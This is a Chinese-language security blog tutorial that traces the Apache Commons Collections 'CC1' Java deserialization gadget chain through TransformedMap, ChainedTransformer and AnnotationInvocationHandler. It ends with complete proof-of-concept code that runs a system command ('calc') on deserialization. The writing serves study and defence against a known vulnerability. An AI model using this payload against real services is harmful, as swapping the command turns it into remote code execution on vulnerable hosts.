Java反序列化之——cc1链超详细分析
Apache Commons Collections存在反序列化漏洞,通过TransformedMap或LazyMap触发InvokerTransformer反射调用Runtime.exec()执行命令。依赖条件为JDK版本小于1.8.0_8u71及Commons Collections 3.2.1以下版本。漏洞利用流程涉及AnnotationInvocationHandler.readObject()、AbstractMapEntryDecorator.setValue()、TransformedMap.checkSetValue()及ChainedTransformer.transform()等步骤。测试代码展示了如何构造恶意对象并触发漏洞执行系统命令。 2025-9-10 07:4:30 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

简介:

Apache Commons Collections反序列化的核心利用是通过TransformedMapLazyMap触发InvokerTransformer的反射调用,最终通过Runtime.exec()执行命令。

依赖条件:

JDK版本:小于1.8.0_8u71

Commons Collections 3.2.1及以下版本。

环境准备:

jdk-8u65:官方下载地址:Java Archive Downloads - Java SE 8

Commons Collections 3.2.1官方下载地址:Apache Commons Collections Release Notes – Apache Commons Collections

或者使用maven依赖配置:

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

初探漏洞原理

我们先整体看下他的流程:大致链路如下:AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkSetValue()---ChainedTransformer.transform()--InvokerTransformer. transform()---Runtime.getruntime().exec()这样的一个过程,我们逐步分解,从后往前实现。一步步看怎么完成恶意代码的执行的。

首先在commons.collections.functors.InvokerTransformer

先从InvokerTransformer. transform()开始:

在invokerTransformer.java中transform()方法代码如下:

public Object transform(Object input) {

if (input == null) {

return null;

}

Class cls = input.getClass();

Method method = cls.getMethod(iMethodName, iParamTypes);

return method.invoke(input, iArgs);

上面代码,保留关键部分,transform方法,传入的input对象,通过反射input.getClass()得到对象cls,反射得到cls对象的方法,最后返回method方法的执行结果(return method.invoke(input, iArgs))。

其中iMethodName,iParamTypes,iArgs 均在创建InvokerTransformer对象时传入,其构造函数代码如下:形参分别为String methodName,Class[] paramTypes, Object[] args对应其方法中的各个参数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

super();

iMethodName = methodName;

iParamTypes = paramTypes;

iArgs = args;

}

那么我们在创建这个对象的时候,传入string类型的方法名字,class数组类型的参数类型,以及object数组类型的参数,再通过调用transform方法,就可以控制代码的执行了!

为了便于理解参数传递过程(java的反射机制),我们回到上面调用cls.getMethod方法,我们看下java反射机制里面的getMethod这个方法,如下:

public Method getMethod(String name, Class<?>... parameterTypes)

throws NoSuchMethodException, SecurityException {

checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);

Method method = getMethod0(name, parameterTypes, true);

if (method == null) {

throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));

}

return method;

}

接受一个字符串,以及一个class类型的可变参数,刚好在InvokerTransformer方法里面与这里的参数类型对应上,所以我们大概知道InvokerTransformer类的作用应该是通过Java反射机制动态调用任意类的方法!

现在尝试通过这个类来反射调用恶意代码试试:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",//调用其构造方法,需要传入的反射对象调用的方法的名字,即transform方法中的iMethodName

new Class[]{String.class},//这里需要一个Class类型的数组参数,所以需要new一个数组,即transform方法中的iParamTypes,exec()方法需要字符串类型的参数,所以是String.class

new Object[]{"calc"});//传入的反射对象调用的方法的实际参数,也是数组类型,new一个数组值,即transform方法中iArgs

invokerTransformer.transform(Runtime.getRuntime());//传入要反射的对象,Runtime单例模式,通过getRuntimeke可获的一个对象

1757039534_68ba4baea3842edd1bfe0.png!small?1757039535403

成功执行。在代码注释中做了详细解析!最后一步执行成功。继续往前推进!

TransformedMap解析

首先看看它的属性,在它定义的属性中有2个Transformer( protected final Transformer keyTransformer;
protected final Transformer valueTransformer;)同时它继承至AbstractInputCheckedMapDecorator 继承至AbstractMapDecorator ,它又实现了Map接口,所以TransformeredMap其实也是一个Map。

1757052415_68ba7dff58d1c3410be14.png!small?1757052415762

而且存在如下方法checkSetValue():

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

看出来了把,这里的有调用transform方法,我们的最后一步就是通过invokerTransformer.transform(Runtime.getRuntime())来实现代码执行,所以只要执行这个checkSetValue方法,同时满足TransformedMap的属性valueTransformer == invokerTransformer 即等同于我们上面的代码执行。

首先对valueTransformer的属性赋值,一般情况下属性的赋值都是在类的构造函数中进行。所以看看构造函数

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

确实是通过构造函数进行赋值,只要我们创建TransformedMap对象的时候参数是InvokerTransformer,就可以赋值了,但是这里的构造函数是protected,无法直接通过new来创建对象,所以好像无法得到对象。好在它提供了另外的public方法decorate--返回一个TransformedMap对象,所以我们可以通过调用decorate方法来创建对象。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

解决了这个问题,那么怎么来调用checkSetValue方法呢。所以继续找到调用这个方法的地方。

在它得父类AbstractInputCheckedMapDecorator.java中找到这个抽象类里面的setValue()方法,它调用了checkSetValue();

1757054490_68ba861adbc6ff18e2743.png!small?1757054491423

又出现问题了,要调用checkSetValue 得先调用setValue方法。但是这里得方法它属于MapEntry这个类的内部类里面的一个方法,所以还需要想办法获取这个内部类对象,才能调用:就在内部类上面的next()方法中就发现了一个创建内部类的方法调用如下:

public Object next() {

Map.Entry entry = (Map.Entry) iterator.next();

return new MapEntry(entry, parent);

}

}

现在又需要调用这个next()方法,next()方法什么时候会调用,一般情况下会在迭代器的读取下一个元素的时候自动调用。所以现在就明显了需要一个可迭代的对象,而且这个方法也是一个内部类得方法。

static class EntrySetIterator extends AbstractIteratorDecorator {

/** The parent map */

private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {

super(iterator);

this.parent = parent;

}

public Object next() {

Map.Entry entry = (Map.Entry) iterator.next();

return new MapEntry(entry, parent);

}

}

现在又需要一个内部类对象,在EntrySet这个内部类里面创建了EntrySetIterator内部类对象,

1757055260_68ba891c6739b40dd8e36.png!small?1757055260757

所以又需要一个EntrySet得对象,如下最终在entrySet()方法中new了一个EntrySet得对象。

1757056119_68ba8c771330f4a6ad72e.png!small?1757056119566

那我们知道entrySet()这个方法,主要是实现了Map接口的对象有这个方法,主要作用是获取每一个键值对(key-value),返回的是一个Set<Map.Entry<K,V>>集合。通过对集合的iterator()方法,获取迭代器,通过迭代器的next()方法获取集合中的每一个键值对。

那怎么调用这些方法呢。回到TransformedMap本身上来再看下它的创建对象的方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}    返回一个Map对象。继承的public class TransformedMap extends AbstractInputCheckedMapDecorator,并且AbstractInputCheckedMapDecorator继承AbstractMapDecorator,AbstractMapDecorator又实现了Map------------public abstract class AbstractMapDecorator implements Map

也就是TransformeredMap 这个对象就可以调用entrySet()这个方法,从而调用iterator()方法,通过迭代器调用next()方法

1757312401_68be7591f2a1011fdd70b.png!small?1757312402446再调用return new MapEntry(entry, parent),这里的entry就是TransformeredMap对象的每一个键值对(key:value),parent指的是当前对象(TransformeredMap在下面的测试代码中是decorate )从而完成上面的一系列调用流程!所以其完整调用流程是这样:entrySet() ---new EntrySet(map.entrySet(), this);---return new EntrySetIterator(collection.iterator(), parent);---  next(); ---   return new MapEntry(entry, parent);---  public Object setValue(Object value),就这样走进了所有的内部类,调用了对应的方法------最后执行setValue(Object value) --parent.checkSetValue(value)--- return valueTransformer.transform(value);。测试代码如下:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap hsm1 = new HashMap<String,String>();

hsm1.put("a","b");

Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, invokerTransformer);

for(Map.Entry<Object,Object> entry:decorate.entrySet()){

entry.setValue(Runtime.getRuntime());

}

跟前面的invokerTransformer直接执行恶意代码相比,这里的是通过TransformedMap的invokerTransformer属性来执行了恶意代码。

为了便于理解我们回顾一下TransformedMap它是一个Map类型,Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, invokerTransformer);通过传入的hsm1(hashmap类型),返回一个Map类型。它同时拥有了1757467901_68c0d4fdc1188ac826c3a.png!small?1757467902369

两个Transformer类型的属性,看名字就知道是对Map的key,和value进行操作的。然后对key和value操作的时候就会调用对应的Transformer的属性,方法,相当于使用TransformedMap可以对传入的Map,进行Transformer的一些方法处理在返回一个处理之后的map。这其实是java的装饰器的特点。--通过传入不同 Transformer 实现类,可对集合元素进行任意逻辑处理(如反射调用方法、常量赋值等)。

至此通过TransformedMap装饰器可以执行系统命令了。

AnnotationInvocationHandler类

既然是反序列化的漏洞,现在肯定需要一个反序列化的入口,看看AnnotationInvocationHandler这个类的方法。有反序列的操作readObject()

1757468823_68c0d8972c68e198c6269.png!small?1757468824560

并且可以看到这里的整个代码:重点第一行以及第八行

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

String name = memberValue.getKey();

Class<?> memberType = memberTypes.get(name);

if (memberType != null) { // i.e. member still exists

Object value = memberValue.getValue();

if (!(memberType.isInstance(value) ||

value instanceof ExceptionProxy)) {

memberValue.setValue(

new AnnotationTypeMismatchExceptionProxy(

value.getClass() + "[" + value + "]").setMember(

annotationType.members().get(name)));

第一行首先对map进行entrySet()操作获取每一个键值对,第八行在对其value进行赋值。对比我们的测试代码

for(Map.Entry<Object,Object> entry:decorate.entrySet()){

entry.setValue(Runtime.getRuntime());

}

一模一样!所以只要这里的memberValues=decorate ;(decorate前面的TransformedMap对象 )就可以了,再看看这个值哪儿来的:

1757469390_68c0dace1db52d296cfaf.png!small?1757469390662

在创建对象的时候传入的。所以只要我们在创建这个对象的时候传入我们的Map<Object,Object> decorate = TransformedMap.decorate(hsm3, null, invokerTransformer);这个对象就完成了。

但是我们发现这里的反序列方法readObject()是protected,类也不是public的,并且构造方法也不是pubulc,无法直接访问。所以这里就需要使用java的反射机制,通过反射的方式获取该类的对象。实现对memberValues进行赋值,传入我们的TransformedMap的处理过的Map对象。

同时当使用 ObjectInputStream 反序列化对象时,如果该对象的类实现了 Serializable 接口且自定义readObject() 方法(无论是否为 protected),JVM 会通过反射机制自动调用该方法完成反序列化,所以这里的两个问题都解决了。

梳理一下思路 通过反射获取AnnotationInvocationHandler的对象,传参我们的TansformedMap对象进去,执行反序列化readObject,用代码测试一下:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",//传入的反射调用的方法的名字

new Class[]{String.class},//这里需要一个Class类型的数组参数

new Object[]{"calc"});//传入的反射调用的方法的参数,即恶意代码的名字

HashMap hsm3 = new HashMap<String,String>();//初始的Map--HashMap

hsm3.put("a","b");//put初始值key=a value=b

Map<Object,Object> decorate = TransformedMap.decorate(hsm3, null, invokerTransformer);//创建对象TransformedMap的对象,装饰器处理初始的hsm3,得到一个Map decorate

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象

Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);//反射构造获取构造方法

declaredConstructor.setAccessible(true);//设置setAccessible为True才可调用非公开的构造方法,从而进行对象实例化

Object o = declaredConstructor.newInstance(Target.class, decorate);//通过得到的构造方法,实例化一个对象o。

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));//创建一个文件输入流

oos.writeObject(o);//通过文件输出流序列化对象o,保存到当前文件夹下,文件为1.bin

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));

ois.readObject();

前面的不看,从反射对象开始,AnnotationInvocationHandler的构造方法需要传入两个参数,一个注解,一个Map。并且是Class类型的对象。

1757470518_68c0df362fd1eb21aa968.png!small?1757470518680

逐行分析测试代码:

如下获取该类的对象,先设置可访问属性为true,确保可访问它的非public构造方法,从而进行实例化:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象

Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);

然后是得到AnnotationInvocationHandler的对象,只要对这个对象进行序列化,然后再反序列化就会调用它的readObject();

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));

oos.writeObject(o);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));

ois.readObject();

对上面代码进行调试:当调用readObject的时候会在AnnotationInvocationHandler的这个方法处停住,说明我们的流程是没有问题的。如下图,成功进入反序列化流程:

1757471052_68c0e14c444e51fc0f6ba.png!small?1757471053045

虽然执行了反序列化方法,但是要执行到下面的setValue 需要突破两个if判断

if (memberType != null) { // i.e. member still exists

Object value = memberValue.getValue();

if (!(memberType.isInstance(value) ||

value instanceof ExceptionProxy)) {

memberValue.setValue(

new AnnotationTypeMismatchExceptionProxy(

value.getClass() + "[" + value + "]").setMember(

annotationType.members().get(name)));

}

第一个if (memberType != null) { // i.e. member still exists,查看注释意思大概是检查成员是否存在,看一下这个成员是哪儿得到的

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that

// situation is handled by the invoke method.

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

String name = memberValue.getKey();

Class<?> memberType = memberTypes.get(name);

就是该方法里面的变量, annotationType = AnnotationType.getInstance(type); 从这里来。type是我们通过反射创建对象得时候传入得注解类对象,这里直接获取到这个注解(target   在测试测试代码中: Object o = declaredConstructor.newInstance(Target.class, decorate);//第一个参数注解class类型,第二个Map)对象,然后通过 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 获取这个对象的方法名字,和方法得返回值得Class对象,存放在map中对应k-v。memberTypes在后面会有用,这里记住他是这个反射出来的注解对象的所有方法。

后面就是一个增强得for循环,获取memberValues得每一条信息。其实就是获取我们传入得MAP得k-v每一条记录for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

1757471212_68c0e1ec1542c95c98790.png!small?1757471212628

然后进行判断:

String name = memberValue.getKey();

Class<?> memberType = memberTypes.get(name);

if (memberType != null) { // i.e. member still exists

Object value = memberValue.getValue();

if (!(memberType.isInstance(value) ||

value instanceof ExceptionProxy))

memberType不为空,以及不可以通过value反射成memberType的类对象或者value也不可以是ExceptionProxy的子类、以及子类的实例就可以执行到我们的memberValue.setValue

1757471988_68c0e4f4c7be0db5797e7.png!small?1757471989324

现在来确认 这几个的值: Class<?> memberType = memberTypes.get(name) 只要name这个key存在,memberType 就有值,而 String name = memberValue.getKey(); 所以只要我们传入的map 的key值,同时在memberTypes.get(name) 里面也存在这个key,就OK了,这里不为空-true通过,我们传入的是Target接口对象,1757473933_68c0ec8dbb1e8be1509a5.png!small?1757473934620拥有Value的方法,所以name=value即可;然后下面的两个判断,value这里是我们的map的value的值。我们传入的是字符串String,肯定不能反射成为memberType,因为Target类的反方返回类型是ElementType[] 类型的如下:肯定也不属于ExceptionProxy得子类相关内容

public @interface Target {

/**

* Returns an array of the kinds of elements an annotation type

* can be applied to.

* @return an array of the kinds of elements an annotation type

* can be applied to

*/

ElementType[] value();

}

public abstract class ExceptionProxy implements java.io.Serializable {

protected abstract RuntimeException generateException();

}

所以第二个!false也为true也过了。所以我们传入的map的key值 应该是Target的方法名,ElementType[] value(); 即这里的value。修改上面的测试代码Map的初始值key的值改为value字符串 即 hsm3.put("value","b");再次调试:

1757472210_68c0e5d2a73842832624f.png!small?1757472211136

1757472223_68c0e5dfa1cabbe02b0b2.png!small?1757472224152

1757472235_68c0e5ebc8ef318cb5a08.png!small?1757472236399

成功执行到setValue了。

memberValue.setValue(

new AnnotationTypeMismatchExceptionProxy(

value.getClass() + "[" + value + "]").setMember(

annotationType.members().get(name)));

}

虽然这里执行了,但是这个传入的参数看起来像是我们无法控制的,就执行不了我们的恶意代码entry.setValue(Runtime.getRuntime());了。

所以需要一个参数可控,或者不管提供什么参数,都执行同样得操作得方法,刚好有个常量Transformer   :ConstantTransformer

public Object transform(Object input) {

return iConstant;

}

它得transform方法 不管传入什么,都返回一个常量,如下代码它得常量值是我们可以控制得,在创建对象得时候由我们传入

public ConstantTransformer(Object constantToReturn) {

super();

iConstant = constantToReturn;

}

也就是这样:我们就可以得到一个常量得runtime类对象,但是又出现了问题,后面得代码怎么执行,只有常量不够:因为我们最终要执行invokerTransformer.transform()

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

这里又出现了另外一个transform---》ChainedTransformer 看看这个类得方法里面有什么。

public ChainedTransformer(Transformer[] transformers) {

super();

iTransformers = transformers;

}

public Object transform(Object object) {

for (int i = 0; i < iTransformers.length; i++) {

object = iTransformers[i].transform(object);

}

return object;

}

首先创建对象得时候,传入一个Transformer[]得数组===iTransformers ,如果调用它得transform方法,神奇得事情就发生了。它会将得到得数组里面得所有Transformer 都执行一次transform方法,并且前一个结果作为后一个TTransformer.transform(object)得参数传入,相当于这样

iTransformers[2].transform(iTransformers[1].transform(iTransformers[0].transform(”这里可控“)))

同时这个ChainedTransformer 得iTransformers 也可控。如果iTransformers[0]这里传入得是常量ConstantTransformer 那么我们就得到了一个可以绕过setValue得方法了。

memberValue.setValue(

new AnnotationTypeMismatchExceptionProxy(

value.getClass() + "[" + value + "]").setMember(

annotationType.members().get(name)));

}

也就是这里得setValue 只要这个memberValue 执行的时候,是常量ConstantTransformer 属性。就达到了目的

跟一下这个memberValue《--memberValues.entrySet()《--this.memberValues = memberValues; 原来它来自对象实例化的时候传入的实参。1757474511_68c0eecfac26f3a9050fd.png!small?1757474514328

梳理一下首先实例化AnnotationInvocationHandler 传入memberValues 然后readObject 方法中对这memberValues.entrySet(),而我们的TransformedMap 返回的就是一个处理过的Map ,所以这一下就打通了。

所以接下来我们用测试代码通过反序列化调用一下这个AnnotationInvocationHandler 这个的readObject方法

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",//传入的反射调用的方法的名字

new Class[]{String.class},//这里需要一个Class类型的数组参数

new Object[]{"calc"});//传入的反射调用的方法的参数

HashMap hsm3 = new HashMap<String,String>();

hsm3.put("value","b");

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer});//将两个Transformer放进ChainedTransformer 中形成数组,然后依次调用

Map<Object,Object> decorate = TransformedMap.decorate(hsm3, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象

Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);

//getDeclaredConstructor需要Class类型的任意参数,所以使用.class对应AnnotationInvocationHandler构造方法传参

declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化

Object o = declaredConstructor.newInstance(Target.class, decorate);//第一个参数注解class类型,第二个Map

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));

oos.writeObject(o);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));

ois.readObject();

报错了

1757474781_68c0efddb24e0b8cf49d4.png!small?1757474782215

报错了,看下错误,意思是Runtime无法序列化。因为它没有实现Serializable接口,在java中只有实现了Serializable接口才能够进行序列化操作。这也是最后一个问题。

序列化+反射实现突破

但是Class实现了Serializable接口,所以这里又需要通过反射来获得Runtime对象。1757484413_68c1157d85eb6dfe7077b.png!small?1757484413825

比如像这样:

Class<?> aClass1 = Runtime.class;

Method getRuntime = aClass1.getMethod("getRuntime",null);

Object Runtime_getRuntime = getRuntime.invoke(null);

Method exec = aClass1.getMethod("exec", String.class);

Object invoke = exec.invoke(Runtime_getRuntime,"calc");

就得到了一个Runtime的对象。并且执行了恶意代码,现在的目标是怎么通过反射的方式将代码改造成 直接通过反序列化执行呢。也就是这样的执行步骤:iTransformers[2].transform(iTransformers[1].transform(iTransformers[0].transform(”这里可控“)))

先一个个来:最后面的执行:iTransformers[0].transform(”这里可控“)

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

先获取一个常量ConstantTransformer 代码变成这样:

iTransformers[2].transform(iTransformers[1].transform(Runtime.class))

再来执行iTransformers[1].transform(Runtime.class)

那么这个iTransformers[1] 应该是怎么样的 才可以执行我们的代码:现在参数是Runtime.class对象,invokerTransformer 如下:

InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",//传入的反射调用的方法的名字

new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数

new Object[]{"getRuntime",null});//传入的反射调用的方法的参数

最终执行的是它的transform():

public Object transform(Object input) {

if (input == null) {

return null;

}

try {

Class cls = input.getClass();

Method method = cls.getMethod(iMethodName, iParamTypes);

return method.invoke(input, iArgs);

看前面的InvokerTransformer的transform方法。它其实就是通过反射执行了我们传入对象的方法。所以第二个可以执行的是InvokerTransformer.transform(Runtime.class)返回的是传入参数的准备执行的方法,input.getClass(); 这里通过反射得到了Class类, Method method = cls.getMethod(iMethodName, iParamTypes); 这里得到Class类的getMethod方法,最后是通过传入参数的类对象执行这个方法.这里执行之后其实得到的是一个Method对象return method.invoke(input, iArgs); 相当于return getMethod.invoke(Runtime.class,getRuntime)相当于是执行了 return Runtime.class.getMethod(getRuntime)得到了getRuntime 这个方法的method对象public static java.lang.Runtime java.lang.Runtime.getRuntime(),有了getRuntime()方法的对象,那么只需要invoke一下这个getRuntime的method对象就可以得到一个Runtime对象了,上面的流程:iTransformers[2].transform(iTransformers[1].transform(Runtime.class))就变成了:类似后面这种

iTransformers[2].transform(Runtime.class.getMethod(getRuntime)),所以继续执行iTransformers[2].transform()再走上面的流程,将Runtime.class.getMethod(getRuntime)参数传入:这里要执行的方法就是invoke了

InvokerTransformer invokerTransformer1 = new InvokerTransformer

("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});

Object runTime_get = invokerTransformer1.transform(transform_getRuntime);

最终执行的是它的transform():

public Object transform(Object input) {

if (input == null) {

return null;

}

try {

Class cls = input.getClass();

Method method = cls.getMethod(iMethodName, iParamTypes);

return method.invoke(input, iArgs);

这里参数换成了input==getRuntime这个方法的对象了,public static java.lang.Runtime java.lang.Runtime.getRuntime() 即这个。然后这里执行反射Class cls = input.getClass();

得到 class java.lang.reflect.Method,这里执行的是cls.getMethod(invoke, iParamTypes);得到invoke的method对象。然后执行 return method.invoke(input, iArgs); 相当于 invoke.invoke(java.lang.Runtime.getRuntime(),null) 即通过反射执行Runtime.getRuntime()得到一个runtime对象,最后一步还需要执行我们的测试代码:

那就再来一个执行exec的InvokerTransformer,上面的链条变成了如下

iTransformers[3].transform(iTransformers[2].transform(Runtime.class.getMethod(getRuntime)))变成了

iTransformers[3].transform(Runtime.getRuntime())这就跟我们最开始的测试代码一样了,直接完成了反射的调用执行那么把所有的transformed加到一个链条里面:

InvokerTransformer invokerTransformer2 = new InvokerTransformer

("exec",new Class[]{String.class},new Object[]{"calc"});

这个链就是这样:将上面的代码变量直接赋值到ChainedTransformer 中,当这个链调用它的transform的时候,就完成了上诉的链式调用触发计算器。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2});

最后的完整测试代码:

public class Main {

public static void main(String[] args) {

Class<Runtime> runtimeClass = Runtime.class;

InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",//传入的反射调用的方法的名字

new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数

new Object[]{"getRuntime",null});//传入的反射调用的方法的参数

Object transform_getRuntime = invokerTransformer.transform(runtimeClass);//传入要反射的对象

InvokerTransformer invokerTransformer1 = new InvokerTransformer

("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});

Object runTime_get = invokerTransformer1.transform(transform_getRuntime);

InvokerTransformer invokerTransformer2 = new InvokerTransformer

("exec",new Class[]{String.class},new Object[]{"calc"});

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

invokerTransformer2.transform(invokerTransformer1.transform(invokerTransformer.transform(constantTransformer.transform(1))));

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2});

//////chainedTransformer 反射方式调用

HashMap hsm1 = new HashMap<String,String>();

hsm1.put("a","b");

Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, chainedTransformer);

for(Map.Entry<Object,Object> entry:decorate.entrySet()){

entry.setValue("adfadfadf");

}

}

}

这是通过我们主动触发entry.setValue("adfadfadf");,但是没有通过反序列化自动执行命令,所以再改成通过反序列化的时候自动执行:就是再将这个decorate 经过TransformedMap处理过的Map传入AnnotationInvocationHandler对象里面即可;将前面的如下:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象

Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);

//getDeclaredConstructor需要Class类型的任意参数,所以使用.class对应AnnotationInvocationHandler构造方法传参

declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化

Object o = declaredConstructor.newInstance(Target.class, decorated);//第一个参数注解class类型,第二个Map

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));

oos.writeObject(o);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));

ois.readObject();

与这里的代码进行整合得到如下最终poc代码:

public class Main {
public static void main(String[] args) throws IOException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
Class<Runtime> runtimeClass = Runtime.class;

InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",//传入的反射调用的方法的名字
new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数
new Object[]{"getRuntime",null});//传入的反射调用的方法的参数
Object transform_getRuntime = invokerTransformer.transform(runtimeClass);//传入要反射的对象
InvokerTransformer invokerTransformer1 = new InvokerTransformer
("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Object runTime_get = invokerTransformer1.transform(transform_getRuntime);
InvokerTransformer invokerTransformer2 = new InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"calc"});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2});
HashMap hsm1 = new HashMap<String,String>();
hsm1.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化
Object o = declaredConstructor.newInstance(Target.class, decorate);//第一个参数注解class类型,第二个Map
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
ois.readObject();
}
}

然后将中间的创建对象过程都放在ChainedTransformer 里面直接创建整合之后得到如下简化代码:

public class cc1poc {

public static void main(String[] args) throws Exception {

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",//传入的反射调用的方法的名字

new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数

new Object[]{"getRuntime",null}),

new InvokerTransformer

("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

new InvokerTransformer

("exec",new Class[]{String.class},new Object[]{"calc"})

});

HashMap<Object,Object> hsm3 = new HashMap();

hsm3.put("value","aa");

Map<Object,Object> decorated = TransformedMap.decorate(hsm3, null, chainedTransformer);//

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象

Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);

//getDeclaredConstructor需要Class类型的任意参数,所以使用.class对应AnnotationInvocationHandler构造方法传参

declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化

Object o = declaredConstructor.newInstance(Target.class, decorated);//第一个参数注解class类型,第二个Map

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));

oos.writeObject(o);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));

ois.readObject();

}

}

1757486978_68c11f82251871309426e.png!small?1757486978567

执行成功,看起来有些乱,因为从后往前推的,简化来看流程:

AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkValue()---ChainedTransformer.transform()--InvokerTransformer. transform()这样的一个过程,中间是各种对象的传值操作,以及Map的一些操作,导致看起来很复杂,基本上是通过ConstantTransformer这个来完成的,通过逐个执行几个不同的Transformer对象,调用对应它们的transform完成。

ChainedTransformer={ConstantTransformer,InvokerTransformer,InvokerTransformer,InvokerTransformer}

结束-----------------------------------------------------------------


文章来源: https://www.freebuf.com/articles/web/448016.html
如有侵权请联系:admin#unsafe.sh